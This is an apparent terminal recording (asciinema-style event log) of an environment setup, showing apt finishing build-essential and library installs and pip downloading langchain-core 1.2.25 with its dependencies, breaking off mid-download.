[93.17845, "o", "using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/c++.1.gz because associated file /usr/share/man/man1/g++.1.gz (of link group c++) doesn't exist\r\n"]
[93.187989, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 97%]\u001b[49m\u001b[39m [######################################################################################################################################################################################......] "]
[93.188394, "o", "\u001b8"]
[93.19883, "o", "Setting up build-essential (12.10ubuntu1) ...\r\n"]
[93.238514, "o", "Setting up libheif1:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[93.282885, "o", "Setting up libgd3:amd64 (2.3.3-9ubuntu5) ...\r\n"]
[93.303183, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 98%]\u001b[49m\u001b[39m [########################################################################################################################################################################################....] \u001b8"]
[93.308426, "o", "Setting up libc-devtools (2.39-0ubuntu8.7) ...\r\n"]
[93.329177, "o", "Setting up libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[93.356591, "o", "Setting up libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[93.369379, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 99%]\u001b[49m\u001b[39m [##########################################################################################################################################################################################..] \u001b8"]
[93.379241, "o", "Setting up libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[93.394521, "o", "Processing triggers for libc-bin (2.39-0ubuntu8.7) ...\r\n"]
[93.446457, "o", "Processing triggers for ca-certificates (20240203) ...\r\n"]
[93.498432, "o", "Updating certificates in /etc/ssl/certs...\r\n"]
[96.436122, "o", "0 added, 0 removed; done.\r\nRunning hooks in /etc/ca-certificates/update.d...\r\n"]
[96.444379, "o", "done.\r\n"]
[96.500275, "o", "\r\n\u001b7\u001b[0;54r\u001b8\u001b[1A\u001b[J"]
[97.541525, "o", "Collecting langchain-core==1.2.25\r\n"]
[97.789982, "o", "  Downloading langchain_core-1.2.25-py3-none-any.whl.metadata (4.4 kB)\r\n"]
[97.88664, "o", "Collecting jsonpatch<2.0.0,>=1.33.0 (from langchain-core==1.2.25)\r\n"]
[97.922444, "o", "  Downloading jsonpatch-1.33-py2.py3-none-any.whl.metadata (3.0 kB)"]
[97.922771, "o", "\r\n"]
[98.258024, "o", "Collecting langsmith<1.0.0,>=0.3.45 (from langchain-core==1.2.25)\r\n"]
[98.309955, "o", "  Downloading langsmith-0.7.25-py3-none-any.whl.metadata (15 kB)\r\n"]
[98.480831, "o", "Collecting packaging>=23.2.0 (from langchain-core==1.2.25)\r\n"]
[98.507913, "o", "  Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB)\r\n"]
[98.839644, "o", "Collecting pydantic<3.0.0,>=2.7.4 (from langchain-core==1.2.25)\r\n"]
[98.886694, "o", "  Downloading pydantic-2.12.5-py3-none-any.whl.metadata (90 kB)\r\n\u001b[?25l     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/90.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[98.926608, "o", "\r\u001b[2K     \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━\u001b[0m \u001b[32m71.7/90.6 kB\u001b[0m \u001b[31m2.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[98.96577, "o", "\r\u001b[2K     \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━\u001b[0m \u001b[32m81.9/90.6 kB\u001b[0m \u001b[31m2.1 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[99.017716, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m90.6/90.6 kB\u001b[0m \u001b[31m738.0 kB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[99.140747, "o", "Collecting pyyaml<7.0.0,>=5.3.0 (from langchain-core==1.2.25)\r\n"]
[99.168348, "o", "  Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB)\r\n"]
[99.266563, "o", "Collecting tenacity!=8.4.0,<10.0.0,>=8.1.0 (from langchain-core==1.2.25)\r\n"]
[99.296897, "o", "  Downloading tenacity-9.1.4-py3-none-any.whl.metadata (1.2 kB)\r\n"]
[99.411208, "o", "Collecting typing-extensions<5.0.0,>=4.7.0 (from langchain-core==1.2.25)\r\n"]
[99.446276, "o", "  Downloading typing_extensions-4.15.0-py3-none-any.whl.metadata (3.3 kB)"]
[99.451342, "o", "\r\n"]
[99.636238, "o", "Collecting uuid-utils<1.0,>=0.12.0 (from langchain-core==1.2.25)\r\n"]
[99.714019, "o", "  Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (4.8 kB)\r\n"]
[99.809374, "o", "Collecting jsonpointer>=1.9 (from jsonpatch<2.0.0,>=1.33.0->langchain-core==1.2.25)"]
[99.81018, "o", "\r\n"]
[99.846011, "o", "  Downloading jsonpointer-3.1.1-py3-none-any.whl.metadata (2.4 kB)\r\n"]
[99.986109, "o", "Collecting httpx<1,>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[99.986271, "o", "\r\n"]
[100.039593, "o", "  Downloading httpx-0.28.1-py3-none-any.whl.metadata (7.1 kB)\r\n"]
[100.74201, "o", "Collecting orjson>=3.9.14 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[100.771369, "o", "  Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (41 kB)\r\n\u001b[?25l     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/42.0 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[100.816935, "o", "\r\u001b[2K     \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m \u001b[32m41.0/42.0 kB\u001b[0m \u001b[31m23.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[100.833785, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m42.0/42.0 kB\u001b[0m \u001b[31m584.6 kB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[100.937305, "o", "Collecting requests-toolbelt>=1.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[100.968556, "o", "  Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl.metadata (14 kB)\r\n"]
[101.132307, "o", "Collecting requests>=2.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[101.171055, "o", "  Downloading requests-2.33.1-py3-none-any.whl.metadata (4.8 kB)\r\n"]
[101.34809, "o", "Collecting xxhash>=3.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[101.394814, "o", "  Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (13 kB)\r\n"]
[101.620078, "o", "Collecting zstandard>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[101.624757, "o", "\r\n"]
[101.682914, "o", "  Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (3.3 kB)\r\n"]
[101.7803, "o", "Collecting annotated-types>=0.6.0 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.25)\r\n"]
[101.81641, "o", "  Downloading annotated_types-0.7.0-py3-none-any.whl.metadata (15 kB)\r\n"]
[103.299614, "o", "Collecting pydantic-core==2.41.5 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.25)\r\n"]
[103.337567, "o", "  Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (7.3 kB)\r\n"]
[103.415133, "o", "Collecting typing-inspection>=0.4.2 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.25)"]
[103.41868, "o", "\r\n"]
[103.450461, "o", "  Downloading typing_inspection-0.4.2-py3-none-any.whl.metadata (2.6 kB)"]
[103.452979, "o", "\r\n"]
[103.578491, "o", "Collecting anyio (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[103.612397, "o", "  Downloading anyio-4.13.0-py3-none-any.whl.metadata (4.5 kB)\r\n"]
[103.729038, "o", "Collecting certifi (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[103.762768, "o", "  Downloading certifi-2026.2.25-py3-none-any.whl.metadata (2.5 kB)\r\n"]
[103.889107, "o", "Collecting httpcore==1.* (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[103.892207, "o", "\r\n"]
[103.938796, "o", "  Downloading httpcore-1.0.9-py3-none-any.whl.metadata (21 kB)\r\n"]
[104.017962, "o", "Collecting idna (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)\r\n"]
[104.047424, "o", "  Downloading idna-3.11-py3-none-any.whl.metadata (8.4 kB)\r\n"]
[104.175824, "o", "Collecting h11>=0.16 (from httpcore==1.*->httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[104.176118, "o", "\r\n"]
[104.204986, "o", "  Downloading h11-0.16.0-py3-none-any.whl.metadata (8.3 kB)\r\n"]
[104.494035, "o", "Collecting charset_normalizer<4,>=2 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[104.498237, "o", "\r\n"]
[104.547694, "o", "  Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (40 kB)\r\n"]
[104.551343, "o", "\u001b[?25l"]
[104.561144, "o", "     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/40.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[104.583301, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m40.9/40.9 kB\u001b[0m \u001b[31m1.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[104.81371, "o", "Collecting urllib3<3,>=1.26 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.25)"]
[104.813803, "o", "\r\n"]
[104.854778, "o", "  Downloading urllib3-2.6.3-py3-none-any.whl.metadata (6.9 kB)"]
[104.855861, "o", "\r\n"]
[105.058584, "o", "Downloading langchain_core-1.2.25-py3-none-any.whl (506 kB)\r\n\u001b[?25l"]
[105.076966, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/506.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.10668, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━\u001b[0m \u001b[32m368.6/506.9 kB\u001b[0m \u001b[31m12.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.153438, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m501.8/506.9 kB\u001b[0m \u001b[31m14.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.164625, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m506.9/506.9 kB\u001b[0m \u001b[31m5.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.196397, "o", "Downloading jsonpatch-1.33-py2.py3-none-any.whl (12 kB)\r\n"]
[105.269931, "o", "Downloading langsmith-0.7.25-py3-none-any.whl (359 kB)\r\n\u001b[?25l"]
[105.286051, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/359.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.311576, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m358.4/359.4 kB\u001b[0m \u001b[31m28.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.316039, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m359.4/359.4 kB\u001b[0m \u001b[31m10.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.350529, "o", "Downloading packaging-26.0-py3-none-any.whl (74 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/74.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.371977, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m74.4/74.4 kB\u001b[0m \u001b[31m4.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.40968, "o", "Downloading pydantic-2.12.5-py3-none-any.whl (463 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/463.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.441957, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m460.8/463.6 kB\u001b[0m \u001b[31m28.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m463.6/463.6 kB\u001b[0m \u001b[31m13.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m"]
[105.442554, "o", "\r\n\u001b[?25h"]
[105.473288, "o", "Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB)\r\n"]
[105.476707, "o", "\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/2.1 MB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.523598, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.1/2.1 MB\u001b[0m \u001b[31m32.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.566489, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━\u001b[0m \u001b[32m2.0/2.1 MB\u001b[0m \u001b[31m28.1 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.584474, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.1/2.1 MB\u001b[0m \u001b[31m20.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.616193, "o", "Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (807 kB)\r\n\u001b[?25l"]
[105.622881, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/807.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.658974, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m798.7/807.9 kB\u001b[0m \u001b[31m28.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[105.670366, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m807.9/807.9 kB\u001b[0m \u001b[31m17.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m"]
[105.671988, "o", "\r\n"]
[105.674036, "o", "\u001b[?25h"]
[105.708223, "o", "Downloading tenacity-9.1.4-py3-none-any.whl (28 kB)\r\n"]
[105.754653, "o", "Downloading typing_extensions-4.15.0-py3-none-any.whl (44 kB)\r\n\u001b[?25l"]
[105.758343, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/44.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.783606, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m44.6/44.6 kB\u001b[0m \u001b[31m1.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.820865, "o", "Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (345 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/345.7 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.853746, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m345.7/345.7 kB\u001b[0m \u001b[31m12.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.88569, "o", "Downloading annotated_types-0.7.0-py3-none-any.whl (13 kB)\r\n"]
[105.934378, "o", "Downloading httpx-0.28.1-py3-none-any.whl (73 kB)\r\n"]
[105.938007, "o", "\u001b[?25l"]
[105.941188, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/73.5 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[105.955701, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m73.5/73.5 kB\u001b[0m \u001b[31m5.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[105.99507, "o", "Downloading httpcore-1.0.9-py3-none-any.whl (78 kB)"]
[105.999162, "o", "\r\n\u001b[?25l"]
[106.015216, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/78.8 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.042044, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m78.8/78.8 kB\u001b[0m \u001b[31m2.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[106.092763, "o", "Downloading jsonpointer-3.1.1-py3-none-any.whl (7.7 kB)\r\n"]
[106.142848, "o", "Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (133 kB)\r\n\u001b[?25l"]
[106.145871, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/133.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.183856, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m41.0/133.6 kB\u001b[0m \u001b[31m34.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.252882, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m41.0/133.6 kB\u001b[0m \u001b[31m34.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.286371, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m133.1/133.6 kB\u001b[0m \u001b[31m1.1 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.29077, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m133.6/133.6 kB\u001b[0m \u001b[31m904.0 kB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[106.354334, "o", "Downloading requests-2.33.1-py3-none-any.whl (64 kB)\r\n\u001b[?25l"]
[106.360008, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/64.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.384653, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m64.9/64.9 kB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[106.518989, "o", "Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl (54 kB)\r\n\u001b[?25l"]
[106.526692, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/54.5 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.548565, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m54.5/54.5 kB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[106.581397, "o", "Downloading typing_inspection-0.4.2-py3-none-any.whl (14 kB)"]
[106.58224, "o", "\r\n"]
[106.740053, "o", "Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (193 kB)\r\n"]
[106.74256, "o", "\u001b[?25l"]
[106.751545, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/193.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.776294, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m193.9/193.9 kB\u001b[0m \u001b[31m10.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[106.815405, "o", "Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (5.5 MB)\r\n\u001b[?25l"]
[106.822592, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/5.5 MB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[106.858492, "o", "\r\u001b[2K   \u001b[91m━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.7/5.5 MB\u001b[0m \u001b[31m20.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.892419, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.9/5.5 MB\u001b[0m \u001b[31m27.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.931776, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m3.2/5.5 MB\u001b[0m \u001b[31m30.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[106.971891, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━\u001b[0m \u001b[32m3.9/5.5 MB\u001b[0m \u001b[31m28.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[107.029666, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━\u001b[0m \u001b[32m4.7/5.5 MB\u001b[0m \u001b[31m26.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[107.061794, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m5.5/5.5 MB\u001b[0m \u001b[31m24.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[107.111449, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m5.5/5.5 MB\u001b[0m \u001b[31m24.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[107.118646, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m5.5/5.5 MB\u001b[0m \u001b[31m18.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.155539, "o", "Downloading certifi-2026.2.25-py3-none-any.whl (153 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/153.7 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[107.172553, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m153.7/153.7 kB\u001b[0m \u001b[31m9.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.251958, "o", "Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (216 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/216.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[107.290013, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m216.6/216.6 kB\u001b[0m \u001b[31m8.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[107.338933, "o", "Downloading idna-3.11-py3-none-any.whl (71 kB)\r\n"]
[107.343056, "o", "\u001b[?25l"]
